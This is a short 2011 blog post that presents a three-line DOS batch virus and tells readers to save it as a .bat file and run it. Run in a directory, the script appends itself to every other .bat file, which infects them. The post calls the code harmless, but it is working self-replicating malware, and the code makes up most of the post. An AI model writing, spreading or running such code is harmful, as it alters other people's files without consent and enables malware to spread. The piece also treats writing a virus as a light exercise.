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Stupid Simple Computer Virus in 3 Lines of Code | cranklin.com
source link: https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/
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Stupid Simple Computer Virus in 3 Lines of Code
April 19, 2011
Yes, it’s pretty useless and completely harmless. A DOS batch file virus in 3 simple lines. Useless… but totally meets or surpasses computer virus specifications:
@echo off
find "**cranky**" *.bat
for %%p in (*.bat) do copy %%p + %0
Save it as a .bat file.
Voila!
No really. If you run this on windows/DOS in a directory full of .bat files, this will replicate itself and infect all the other .bat files. Too easy? Use “copy con blah.bat” to create the file so you can feel a bit more accomplished.
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